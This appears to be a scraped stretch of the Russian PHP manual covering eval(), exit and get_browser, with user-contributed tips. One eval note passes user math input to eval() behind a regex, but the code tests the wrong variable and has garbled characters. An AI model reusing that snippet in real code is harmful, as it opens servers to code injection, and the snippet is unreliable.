- why? betterEval follows normal php opening and closing tag conventions, there's no need to strip `<?php?>` from the source.  and it always throws a ParseError if there was a parse error, instead of returning false (note: this was fixed for normal eval() in php 7.0). - and there's also something about exception backtraces
Uther 02-Feb-2016 05:33
eval'd code within namespaces which contain class and/or function definitions will be defined in the global namespace... not incredibly obvious :/
lord dot dracon at gmail dot com 31-Jul-2015 01:46
Inception with eval()

<pre>
Inception Start:
<?php
eval("echo 'Inception lvl 1...\n'; eval('echo \"Inception lvl 2...\n\"; eval(\"echo \'Inception lvl 3...\n\'; eval(\'echo \\\"Limbo!\\\";\');\");');");
?>
Karel 03-Feb-2015 04:23
For them who are facing syntax error when try execute code in eval,

<?php

$str =  '<?php echo "test"; ?>';

eval('?>'.$str.'<?php;'); // outputs test
eval('?>'.$str.'<?'); // outputs test
eval('?>'.$str.'<?php');// throws syntax error - unexpected $end

?>
bohwaz 04-Feb-2012 10:51
If you want to allow math input and make sure that the input is proper mathematics and not some hacking code, you can try this:

<?php

$test = '2+3*pi';

// Remove whitespaces
$test = preg_replace('/\s+/', '', $test);

$number = '(?:\d+(?:[,.]\d+)?|pi|?)'; // What is a number
$functions = '(?:sinh?|cosh?|tanh?|abs|acosh?|asinh?|atanh?|exp|log10|deg2rad|rad2deg|sqrt|ceil|floor|round)'; // Allowed PHP functions
$operators = '[+\/*\^%-]'; // Allowed math operators
$regexp = '/^(('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?2))?)+$/'; // Final regexp, heavily using recursive patterns

if (preg_match($regexp, $q))
{
    $test = preg_replace('!pi|?!', 'pi()', $test); // Replace pi with pi function
    eval('$result = '.$test.';');
}
else
{
    $result = false;
}

?>

I can't guarantee you absolutely that this will block every possible malicious code nor that it will block malformed code, but that's better than the matheval function below which will allow malformed code like '2+2+' which will throw an error.
php at rijkvanwel dot nl 13-Sep-2010 07:41
To catch a parse error in eval()'ed code with a custom error handler, use error_get_last() (PHP >= 5.2.0).

<?php
$return = eval( 'parse error' );

if ( $return === false && ( $error = error_get_last() ) ) {
    myErrorHandler( $error['type'], $error['message'], $error['file'], $error['line'], null );

    // Since the "execution of the following code continues normally", as stated in the manual,
    // we still have to exit explicitly in case of an error
    exit;
}
?>
darkhogg (foo) gmail (bar) com 30-Mar-2010 10:33
The following code

<?php
    eval( '?> foo <?php' );
?>

does not throw any error, but prints the opening tag.
Adding a space after the open tag fixes it:

<?php
    eval( '?> foo <?php ' );
?>
php at stock-consulting dot com 28-Nov-2008 08:16
Magic constants like __FILE__ may not return what you expect if used inside eval()'d code. Instead, it'll answer something like "c:\directory\filename.php(123) : eval()'d code" (under Windows, obviously, checked with PHP5.2.6) - which can still be processed with a function like preg_replace to receive the filename of the file containing the eval().

Example:

<?php
$filename = preg_replace('@\(.*\(.*$@', '', __FILE__);
echo $filename;
?>
marco at harddisk dot is-a-geek dot org 30-Jun-2008 10:44
eval does not work reliably in conjunction with global, at least not in the cygwin port version.

So:
<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval("global \$".$module."_var;");
  eval("\$".$module."_var=&new foo();");
  //various stuff ... ...
}
load_module("foo");
?>

becomes to working:

<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval('$GLOBALS["'.$module.'_var"]=&new foo();');
  //various stuff ... ...
}
load_module("foo");
?>

Note in the 2nd example, you _always_ need to use $GLOBALS[$module] to access the variable!
Ipseno at yahoo dot com 25-Feb-2008 10:24
If you attempt to call a user defined function in eval() and .php files are obfuscated by Zend encoder, it will result in a fatal error.

Use a call_user_func() inside eval() to call your personal hand made functions.

This is user function
<?php

function square_it($nmb)
{
    return $nmb * $nmb;
}

?>

//Checking if eval sees it?
<?php

$code = var_export( function_exists('square_it') );

eval( $code );    //returns TRUE - so yes it does!

?>

This will result in a fatal error:
PHP Fatal error:  Call to undefined function square_it()
<?php

$code = 'echo square_it(55);' ;

eval( $code );

?>

This will work
<?php

$code = 'echo call_user_func(\'square_it\', 55);' ;

eval( $code );

?>
12-Jul-2004 09:37
Kepp the following Quote in mind:

If eval() is the answer, you're almost certainly asking the
wrong question. -- Rasmus Lerdorf, BDFL of PHP


Вывести сообщение и прекратить выполнение текущего скрипта

  • « eval
  • get_browser »
  • PHP Manual
  • Разные функции
  • Вывести сообщение и прекратить выполнение текущего скрипта

exit

(PHP 4, PHP 5, PHP 7, PHP 8)

exit — Вывести сообщение и прекратить выполнение текущего скрипта

Описание

exit(string $status = ?): void
exit(int $status): void

Прекращает выполнение скрипта. Функции отключения и деструкторы объекта будут запущены, даже если была вызвана конструкция exit.

exit - это конструкция языка, и она может быть вызвана без круглых скобок, если не передаётся параметр status.

Список параметров

status

Если status задан в виде строки, то эта конструкция выведет содержимое status перед выходом.

Если status задан в виде целого числа (int), то это значение будет использовано как статус выхода и не будет выведено. Статусы выхода должны быть в диапазоне от 0 до 254, статус выхода 255 зарезервирован PHP и не должен использоваться. Статус выхода 0 используется для успешного завершения программы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования exit

<?php

$filename = '/path/to/data-file';
$file = fopen($filename, 'r')
or exit("Невозможно открыть файл ($filename)");

?>

Пример #2 Пример использования exit со статусом выхода

<?php

//обычный выход из программы
exit;
exit();
exit(0);

//выход с кодом ошибки
exit(1);
exit(0376); //восьмеричный

?>

Пример #3 Функции выключения и деструкторы выполняются независимо

<?php
class Foo
{
public function __destruct()
{
echo 'Деинициализировать: ' . __METHOD__ . '()' . PHP_EOL;
}
}

function shutdown()
{
echo 'Завершить: ' . __FUNCTION__ . '()' . PHP_EOL;
}

$foo = new Foo();
register_shutdown_function('shutdown');

exit();
echo 'Эта строка не будет выведена.';
?>

Результат выполнения данного примера:

 Завершить: shutdown()
 Деинициализировать: Foo::__destruct()

Примечания

Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.

Замечание:

Эта языковая конструкция эквивалентна конструкции die().

Смотрите также

  • register_shutdown_function() - Регистрирует функцию, которая выполнится при завершении работы скрипта

User Contributed Notes

tianyiw at vip dot qq dot com 17-Nov-2022 10:59
These are the standard error codes in Linux or UNIX.

1 - Catchall for general errors
2 - Misuse of shell builtins (according to Bash documentation)
126 - Command invoked cannot execute
127 - "command not found"
128 - Invalid argument to exit
128+n - Fatal error signal "n"
130 - Script terminated by Control-C
255\* - Exit status out of range
bill dot gates at hotmail dot com 16-Jun-2021 01:43
Be noticed about uopz (User Operations for Zend) extension of PHP. It disables (prevents) halting of PHP scripts (both FPM and CLI) on calling `exit()` and `die()` by default just after enabling the extension. Therefore your script will continue to execute.

Details: https://www.php.net/manual/en/uopz.configuration.php#ini.uopz.exit
Alexander Behling 26-Feb-2021 11:33
it is also possible to include function calls e.g. logging function to write the error in a log file.

e.g.

function logerror($error){
file_put_contents(__DIR__.'/error_log', 'Error occured: '.$error');
}

die(logerror('error msg here');

This will terminate the script and write "error msg here" to error.log

You could use this for example when query the database to log when the query fails.
jean dot claveau at gmail dot com 25-Jan-2020 10:56
Beware if you enabled uopz extension, it disables exit / die() by default. They are just "skipped".

https://www.php.net/manual/en/function.uopz-allow-exit.php
powtac at gmx de 04-Jul-2018 09:25
When a object is passed as $status and it consists of a __toString() magic method the string value of this method will be used as $status. If the object does not contain a __toString method, exit will throw a catchable fatal error.
chris at ocproducts dot com 01-Mar-2018 10:57
Calling 'exit' will bypass the auto_append_file option.
On some free hosting this risks you getting removed, as they may be using for ads and analytics.

So be a bit careful if using this on the most common output branch.
marco dot marsala at live dot it 14-Feb-2018 09:16
Please note $status is printed to stdout, not stderr.
sunfundev at gmail dot com 07-Sep-2017 04:02
>> Shutdown functions and object destructors will always be executed even if exit is called.

It is false if you call exit into desctructor.

Normal exit:
<?php
class A
{
    public function __destruct()
    {
        echo "bye A\n";
    }
}

class B
{
    public function __destruct()
    {
        echo "bye B\n";
    }
}

$a = new A;
$b = new B;
exit;

// Output:
// bye B
// bye A
?>

// Exit into desctructor:
<?php
class A
{
    public function __destruct()
    {
        echo "bye A\n";
    }
}

class B
{
    public function __destruct()
    {
        echo "bye B\n";
        exit;
    }
}

$a = new A;
$b = new B;

// Output:
// bye B
?>
kehaovista at qq dot com 22-Jan-2016 01:20
<?php

class Foo
{
    public function __construct()
    {
        register_shutdown_function([$this, 'shutdown']);
    }

    public function __destruct()
    {
        echo 'Destruct: ' . __METHOD__ . '()' . PHP_EOL;
    }

    function shutdown()
    {
        echo 'Shutdown: ' . __FUNCTION__ . '()' . PHP_EOL;
    }
}

$foo = new Foo();
exit();

// output is
//Shutdown: shutdown()
//Destruct: Foo::__destruct()
m dot libergolis at gmail dot com 18-Aug-2015 06:44
In addition to "void a t informance d o t info", here's a one-liner that requires no constant:

<?php basename($_SERVER['PHP_SELF']) == basename(__FILE__) && die('Thou shall not pass!'); ?>

Placing it at the beginning of a PHP file will prevent direct access to the script.

To redirect to / instead of dying:

<?php
if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
    if (ob_get_contents()) ob_clean(); // ob_get_contents() even works without active output buffering
    header('Location: /');
    die;
}
?>

Doing the same in a one-liner:

<?php basename($_SERVER['PHP_SELF']) == basename(__FILE__) && (!ob_get_contents() || ob_clean()) && header('Location: /') && die; ?>

A note to security: Even though $_SERVER['PHP_SELF'] comes from the user, it's safe to assume its validity, as the "manipulation" takes place _before_ the actual file execution, meaning that the string _must_ have been valid enough to execute the file. Also, basename() is binary safe, so you can safely rely on this function.
theonenkl at gmail dot com 21-Apr-2015 03:33
A side-note for the use of exit with finally: if you exit somewhere in a try block, the finally won't be executed. Could not sound obvious: for instance in Java you never issue an exit, at least a return in your controller; in PHP instead you could find yourself exiting from a controller method (e.g. in case you issue a redirect).

Here follows the POC:

<?php
echo "testing finally wit exit\n";

try {
    echo "In try, exiting\n";

    exit;
} catch(Exception $e) {
    echo "catched\n";
} finally {
    echo "in finally\n";
}

echo "In the end\n";
?>

This will print:

testing finally wit exit
In try, exiting
alexyam at live dot com 09-Apr-2012 04:19
When using php-fpm, fastcgi_finish_request() should be used instead of register_shutdown_function() and exit()

For example, under nginx and php-fpm 5.3+, this will make browsers wait 10 seconds to show output:

<?php
    echo "You have to wait 10 seconds to see this.<br>";
    register_shutdown_function('shutdown');
    exit;
    function shutdown(){
        sleep(10);
        echo "Because exit() doesn't terminate php-fpm calls immediately.<br>";
    }
?>

This doesn't:

<?php
    echo "You can see this from the browser immediately.<br>";
    fastcgi_finish_request();
    sleep(10);
    echo "You can't see this form the browser.";
?>
nicoladinh at gmail dot com 02-Dec-2010 12:09
Calling to exit() will flush all buffers started by ob_start() to default output.
dexen dot devries at gmail dot com 03-Nov-2010 05:54
If you want to avoid calling exit() in FastCGI as per the comments below, but really, positively want to exit cleanly from nested function call or include, consider doing it the Python way:

define an exception named `SystemExit', throw it instead of calling exit() and catch it in index.php with an empty handler to finish script execution cleanly.

<?php

// file: index.php
class SystemExit extends Exception {}
try {
   /* code code */
}
catch (SystemExit $e) { /* do nothing */ }
// end of file: index.php

// some deeply nested function or .php file

if (SOME_EXIT_CONDITION)
   throw new SystemExit(); // instead of exit()

?>
vincent dot laag at gmail dot com 24-Sep-2010 12:51
Don't use the  exit() function in the auto prepend file with fastcgi (linux/bsd os).
It has the effect of leaving opened files with for result at least a nice  "Too many open files  ..." error.
matt at serverboy dot net 23-Mar-2010 12:11
It should be noted that if building a site that runs on FastCGI, calling exit will generate an error in the server's log file. This can quickly fill up.

Also, using exit will diminish the performance benefit gained on FastCGI setups. Instead, consider using code like this:

<?php

if( /* error case */ )
    echo "Invalid request";
else {
    /* The rest of your application */
}
?>

I've also seen developers get around this issue with FastCGI by wrapping their code in a switch statement and using breaks:

index.php:
<?php

switch(true) {
    case true:
        require('application.php');
}

?>

application.php:
<?php

if($x > $y) {
    echo "Sorry, that didn't work.";
    break;
}

// ...

?>

It does carry some overhead, but compared to the alternative, it does the job well.
albert at removethis dot peschar dot net 05-May-2009 11:50
jbezorg at gmail proposed the following:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__ )
  header('Location: /');

?>

After sending the `Location:' header PHP _will_ continue parsing, and all code below the header() call will still be executed.  So instead use:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__)
{
  header('Location: /');
  exit;
}

?>
void a t informance d o t info 26-Oct-2008 02:11
To rich dot lovely at klikzltd dot co dot uk:

Using a "@" before header() to suppress its error, and relying on the "headers already sent" error seems to me a very bad idea while building any serious website.

This is *not* a clean way to prevent a file from being called directly. At least this is not a secure method, as you rely on the presence of an exception sent by the parser at runtime.

I recommend using a more common way as defining a constant or assigning a variable with any value, and checking for its presence in the included script, like:

in index.php:
<?php
define ('INDEX', true);
?>

in your included file:
<?php
if (!defined('INDEX')) {
   die('You cannot call this script directly !');
}
?>

BR.

Ninj
emils at tvnet dot lv 23-Aug-2003 08:14
Note, that using exit() will explicitly cause Roxen webserver to die, if PHP is used as Roxen SAPI module. There is no known workaround for that, except not to use exit(). CGI versions of PHP are not affected.
shaun at NOshatSPAM dot net 09-Aug-2002 04:13
return may be preferable to exit in certain situations, especially when dealing with the PHP binary and the shell.

I have a script which is the recipient of a mail alias, i.e. mail sent to that alias is piped to the script instead of being delivered to a mailbox. Using exit in this script resulted in the sender of the email getting a delivery failure notice. This was not the desired behavior, I wanted to silently discard messages which did not satisfy the script's requirements.

After several hours of trying to figure out what integer value I should pass to exit() to satisfy sendmail, I tried using return instead of exit. Worked like a charm. Sendmail didn't like exit but it was perfectly happy with return. So, if you're running into trouble with exit and other system binaries, try using return instead.
devinemke at devinemke dot com 11-Jan-2002 12:38
If you are using templates with numerous includes then exit() will end you script and your template will not complete (no </table>, </body>, </html> etc...).  Rather than having complex nested conditional logic within your content, just create a "footer.php" file that closes all of your HTML and if you want to exit out of a script just include() the footer before you exit().

for example:

include ('header.php');
blah blah blah
if (!$mysql_connect) {
echo "unable to connect";
include ('footer.php');
exit;
}
blah blah blah
include ('footer.php');


Сообщает о возможностях браузера пользователя

  • « exit
  • __halt_compiler »
  • PHP Manual
  • Разные функции
  • Сообщает о возможностях браузера пользователя

get_browser

(PHP 4, PHP 5, PHP 7, PHP 8)

get_browser — Сообщает о возможностях браузера пользователя

Описание

get_browser(?string $user_agent = null, bool $return_array = false): object|array|false

Пытается определить возможности браузера пользователя, производя поиск информации о браузере в файле browscap.ini.

Список параметров

user_agent

Анализируемая строка с User Agent. По умолчанию используется значение HTTP User-Agent. Тем не менее, этот параметр можно пропустить для получения дополнительной информации о браузере.

Параметр может быть пропущен, если его значение будет равно null.

return_array

Если равен true, то функция вернёт массив (array) вместо объекта (object).

Возвращаемые значения

Информация возвращается в виде объекта, либо в виде массива, который содержит различные данные, к примеру, мажорную и минорную версию браузера и строку ID; значения с true/false для таких функций браузера, таких как фреймы, JavaScript, cookies и т.д.

Наличие cookies означает, что браузер имеет возможность приёма cookies, а не сообщает о том, включил ли пользователь возможность приёма cookies или нет. Единственным способом проверки возможности браузера принимать cookies является установка cookie с помощью setcookie(), обновление страницы и проверка значения.

Возвращает false, если невозможно получить информацию, например, когда параметр конфигурации browscap в php.ini не был установлен.

Примеры

Пример #1 Вывод информации о браузере пользователя

<?php
echo $_SERVER['HTTP_USER_AGENT'] . "\n\n";

$browser = get_browser(null, true);
print_r($browser);
?>

Результатом выполнения данного примера будет что-то подобное:

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3

Array
(
    [browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$
    [browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9*
    [parent] => Firefox 0.9
    [platform] => WinXP
    [browser] => Firefox
    [version] => 0.9
    [majorver] => 0
    [minorver] => 9
    [cssversion] => 2
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [backgroundsounds] =>
    [vbscript] =>
    [javascript] => 1
    [javaapplets] => 1
    [activexcontrols] =>
    [cdf] =>
    [aol] =>
    [beta] => 1
    [win16] =>
    [crawler] =>
    [stripper] =>
    [wap] =>
    [netclr] =>
)

Примечания

Замечание:

Для работы этой функции необходимо, чтобы в установке browscap в настройках php.ini был установлен корректный путь к файлу browscap.ini в вашей системе.

browscap.ini не поставляется с PHP, но вы можете последнюю его версию здесь: » php_browscap.ini.

browscap.ini содержит информацию о большинстве браузеров, он требует обновлений для поддержания его базы актуальной Формат файла довольно очевиден.

User Contributed Notes

tom at tgibbons dot com 24-Jan-2022 02:01
PHP cron script to automatically update browscap.ini. It compares version numbers to determine if update is needed:

<?php
       $eol="\r\n";                           //set end of line - cron

       $fileurl = "https://browscap.org/stream?q=PHP_BrowsCapINI";
       $verurl = "https://browscap.org/version-number";
       $file = "/path/to/browscap.ini";

       //Find current version
       $fp = fopen($file, "r+");
       while (($line = stream_get_line($fp, 1024 * 1024, "\n")) !== false) {
           if(strpos($line,"Version=")===0) {
               list($temp, $curver) = explode("=",$line);
               break;
           }
       }
       fclose($fp);
       echo("Current browscap.ini file version: " . $curver);
       //Get browscap.org current version
       $newver = file_get_contents($verurl);
       echo($eol . "New browscap.ini file version: " . $newver);
       //Update if new version available
       if($newver > $curver) {
           if(file_put_contents($file, file_get_contents($fileurl))) {
               echo($eol . "browscap.ini has been updated!");
           }
           else {
               echo($eol . "browscap.ini update failed!");
           }
       }
       else {
           echo($eol . "browscap.ini is up to date!");
       }
       echo($eol . "End of Cron job." . $eol");
?>
Anonymous 28-Dec-2018 12:45
Follow up to Francesco R's post from 2016.

His function works for most human traffic; added a few lines to cover the most common bot traffic. Also fixed issue with function failing to detect strings at position 0 due to strpos behavior.

<?php
// Function written and tested December, 2018
function get_browser_name($user_agent)
{
        // Make case insensitive.
        $t = strtolower($user_agent);

        // If the string *starts* with the string, strpos returns 0 (i.e., FALSE). Do a ghetto hack and start with a space.
        // "[strpos()] may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE."
        //     http://php.net/manual/en/function.strpos.php
        $t = " " . $t;

        // Humans / Regular Users
        if     (strpos($t, 'opera'     ) || strpos($t, 'opr/')     ) return 'Opera'            ;
        elseif (strpos($t, 'edge'      )                           ) return 'Edge'             ;
        elseif (strpos($t, 'chrome'    )                           ) return 'Chrome'           ;
        elseif (strpos($t, 'safari'    )                           ) return 'Safari'           ;
        elseif (strpos($t, 'firefox'   )                           ) return 'Firefox'          ;
        elseif (strpos($t, 'msie'      ) || strpos($t, 'trident/7')) return 'Internet Explorer';

        // Search Engines
        elseif (strpos($t, 'google'    )                           ) return '[Bot] Googlebot'   ;
        elseif (strpos($t, 'bing'      )                           ) return '[Bot] Bingbot'     ;
        elseif (strpos($t, 'slurp'     )                           ) return '[Bot] Yahoo! Slurp';
        elseif (strpos($t, 'duckduckgo')                           ) return '[Bot] DuckDuckBot' ;
        elseif (strpos($t, 'baidu'     )                           ) return '[Bot] Baidu'       ;
        elseif (strpos($t, 'yandex'    )                           ) return '[Bot] Yandex'      ;
        elseif (strpos($t, 'sogou'     )                           ) return '[Bot] Sogou'       ;
        elseif (strpos($t, 'exabot'    )                           ) return '[Bot] Exabot'      ;
        elseif (strpos($t, 'msn'       )                           ) return '[Bot] MSN'         ;

        // Common Tools and Bots
        elseif (strpos($t, 'mj12bot'   )                           ) return '[Bot] Majestic'     ;
        elseif (strpos($t, 'ahrefs'    )                           ) return '[Bot] Ahrefs'       ;
        elseif (strpos($t, 'semrush'   )                           ) return '[Bot] SEMRush'      ;
        elseif (strpos($t, 'rogerbot'  ) || strpos($t, 'dotbot')   ) return '[Bot] Moz or OpenSiteExplorer';
        elseif (strpos($t, 'frog'      ) || strpos($t, 'screaming')) return '[Bot] Screaming Frog';

        // Miscellaneous
        elseif (strpos($t, 'facebook'  )                           ) return '[Bot] Facebook'     ;
        elseif (strpos($t, 'pinterest' )                           ) return '[Bot] Pinterest'    ;

        // Check for strings commonly used in bot user agents
        elseif (strpos($t, 'crawler' ) || strpos($t, 'api'    ) ||
                strpos($t, 'spider'  ) || strpos($t, 'http'   ) ||
                strpos($t, 'bot'     ) || strpos($t, 'archive') ||
                strpos($t, 'info'    ) || strpos($t, 'data'   )    ) return '[Bot] Other'   ;

        return 'Other (Unknown)';
}
?>
Post with more depth here:
https://www.256kilobytes.com/content/show/1922/how-to-parse-a-user-agent-in-php-with-minimal-effort
Jeff Williams 26-Apr-2018 06:33
To automatically update your browscap.ini file on linux servers, you can use this simple shell script:

wget -O /etc/browscap.ini "http://browscap.org/stream?q=Full_PHP_BrowsCapINI"
chmod 664 /etc/browscap.ini

You can put it in the weekly cron job folder usually located in /etc/cron.weekly just don't forget to make the script executable (chmod 775 scriptname).
Konstantin Rozinov 26-Dec-2017 05:18
Since browser detection can be tricky and very slow, I compared a few packages.

http://thadafinser.github.io/UserAgentParserComparison/v5/index.html

https://github.com/sinergi/php-browser-detector
https://github.com/WhichBrowser/Parser-PHP
https://github.com/piwik/device-detector
http://php.net/manual/en/function.get-browser.php

Here are the results:

User Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36

Sinergi Package
---------------
Chrome 63.0.3239.84 on Windows 10.0
Took 0.0022480487823486 seconds.
---------------

WhichBrowser Package
---------------
Chrome 63 on Windows 10
Took 0.021045207977295 seconds.
---------------

Piwik Package
---------------
Chrome 63.0 on Windows 10
Took 0.079447031021118 seconds.
---------------

get_browser Package
---------------
Chrome 63.0 on Windows 10
Took 0.09611701965332 seconds.
---------------

User Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0

Sinergi Package
---------------
Firefox 57.0 on Windows 10.0
Took 0.0023159980773926 seconds.
---------------

WhichBrowser Package
---------------
Firefox 57.0 on Windows 10
Took 0.019663095474243 seconds.
---------------

Piwik Package
---------------
Firefox 57.0 on Windows 10
Took 0.079678058624268 seconds.
---------------

get_browser Package
---------------
Firefox 57.0 on Windows 10
Took 0.02236008644104 seconds.
---------------

The consistent winner (by speed, not necessarily coverage) by far is:
https://github.com/sinergi/php-browser-detector
krozinov at gmail dot com 26-Dec-2017 04:19
As of PHP 7.0.15 and 7.1.1 and higher, get_browser() now performs much better - reportedly 100x faster.  The Changelog, bug description, and solution are here:

http://php.net/ChangeLog-7.php (search for get_browser())
https://bugs.php.net/bug.php?id=70490
https://github.com/php/php-src/pull/2242
The Digital Orchard 20-Jan-2017 09:39
Good news! The latest version of PHP has a performance fix for this function. It's reportedly now 100x faster. See the ChangeLog for specifics.
zed 07-Sep-2016 10:20
To complete Francesco R, I added the version of the navigator :

function getNavigateur($user_agent)
    {

        if(empty($user_agent)) {
            return array('nav' => 'NC', 'name' => 'NC', 'version' => 'NC');
        }

        $content_nav['name'] = 'Unknown';

        if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) {

            $content_nav['name'] = 'Opera';

            if (strpos($user_agent, 'OPR/')) {
                $content_nav['reel_name'] = 'OPR/';
            } else {
                $content_nav['reel_name'] = 'Opera';
            }

        }
        elseif (strpos($user_agent, 'Edge')) {
            $content_nav['name'] = $content_nav['reel_name'] = 'Edge';
        }
        elseif (strpos($user_agent, 'Chrome')) $content_nav['name'] = $content_nav['reel_name'] = 'Chrome';
        elseif (strpos($user_agent, 'Safari')) $content_nav['name'] = $content_nav['reel_name'] = 'Safari';
        elseif (strpos($user_agent, 'Firefox')) $content_nav['name'] = $content_nav['reel_name'] = 'Firefox';
        elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7') || strpos($user_agent, 'Trident/7.0; rv:')) {
            $content_nav['name'] = 'Internet Explorer';

            if (strpos($user_agent, 'Trident/7.0; rv:')) {
                $content_nav['reel_name'] = 'Trident/7.0; rv:';
            } elseif (strpos($user_agent, 'Trident/7')) {
                $content_nav['reel_name'] = 'Trident/7';
            } else {
                $content_nav['reel_name'] = 'Opera';
            }

        }

        $pattern = '#' . $content_nav['reel_name'] . '\/*([0-9\.]*)#';

        $matches = array();

        if(preg_match($pattern, $user_agent, $matches)) {

            $content_nav['version'] = $matches[1];
            return $content_nav;

        }

        return array('name' => $content_nav['name'], 'version' => 'Inconnu');
    }
Francesco R 14-May-2016 01:52
If you ONLY need a very fast and simple function to detect the browser name (update to May 2016):

<?php

function get_browser_name($user_agent)
{
    if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) return 'Opera';
    elseif (strpos($user_agent, 'Edge')) return 'Edge';
    elseif (strpos($user_agent, 'Chrome')) return 'Chrome';
    elseif (strpos($user_agent, 'Safari')) return 'Safari';
    elseif (strpos($user_agent, 'Firefox')) return 'Firefox';
    elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7')) return 'Internet Explorer';

    return 'Other';
}

// Usage:

echo get_browser_name($_SERVER['HTTP_USER_AGENT']);

?>

This function also resolves the trouble with Edge (that contains in the user agent the string "Safari" and "Chrome"), with Chrome (contains the string "Safari") and IE11 (that do not contains 'MSIE' like all other IE versions).

Note that "strpos" is the fastest function to check a string (far better than "preg_match") and Opera + Edge + Chrome + Safari + Firefox + Internet Explorer are the most used browsers today (over 97%).
Anonymous 12-Jan-2016 02:37
This function is too slow for todays needs.

If you need browser / device / operating system detection, please try one of listed packages here: https://github.com/ThaDafinser/UserAgentParser
p2 at eduardoruiz dot es 12-Jan-2016 12:58
BE CAREFUL WITH THIS FUNCTION!!
This function uses a lot of CPU and RAM on the whole server resources.
Perhaps if you use this function a few times then no problem, but NOT if you use at any page request, or once per session.

Also, this function doesn't work correctly and may returns wrong values, wildcards or empty, so it's not very useful for web statistics.

The best way is to use preg_match for detect browser/platform.
jeremie dot legrand at komori-chambon dot fr 16-Dec-2015 04:28
Be careful if you use the "Full" Browscap INI file in your php.ini config: I wondered why each Apache thread took 350MB RAM on my server until I changed the "Full" version by the "Lite" one (45MB to 0.7MB)

Now, each thread takes only 16MB...
So if it is enough for you, use the Lite version!
shashank 17-Jun-2015 06:17
As ruudrp had given the code http://php.net/manual/en/function.get-browser.php#101125, I have added code for Internet Explorer 11

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Trident/i',$u_agent))
    { // this condition is for IE11
        $bname = 'Internet Explorer';
        $ub = "rv";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    // Added "|:"
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
     ')[/|: ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
tim at digicol dot de 22-May-2014 01:01
Be aware that loading php_browscap.ini via the browscap php.ini setting may consume a non-trivial amount of memory. Current versions are several MB in size (even the "lite" one) and can eat tens of MB of RAM in each PHP process. This happens even if you never call get_browser() since php_browscap.ini is loaded when PHP is starting up.

Make sure to leave the browscap php.ini setting empty if you don't use get_browser() - maybe you only call it only from PHP Web pages, but not from PHP CLI code.

I'd recommend comparing your processes' memory consumption with and without php_browscap.ini being loaded. If necesseray, consider creating your own stripped-down copy of php_browscap.ini with just the browsers that are important to you.
Anonymous 11-Jul-2011 06:52
For those of you using this function to target MSIE, a better idea maybe to use MSIE specific conditional comments. More info: <http://msdn.microsoft.com/en-us/library/ms537512%28VS.85%29.aspx>.

For example to indicate your disregard for users of MSIE 6 or earlier:

<!--[if lt IE 7]>It appears that you are using a <em>very</em> old version of MS Internet Explorer (MSIE). If you seriously want to continue to use MSIE, at least <a href="http://www.microsoft.com/windows/internet-explorer/">upgrade</a>.<![endif]-->
ruudrp at live dot nl 28-Nov-2010 03:31
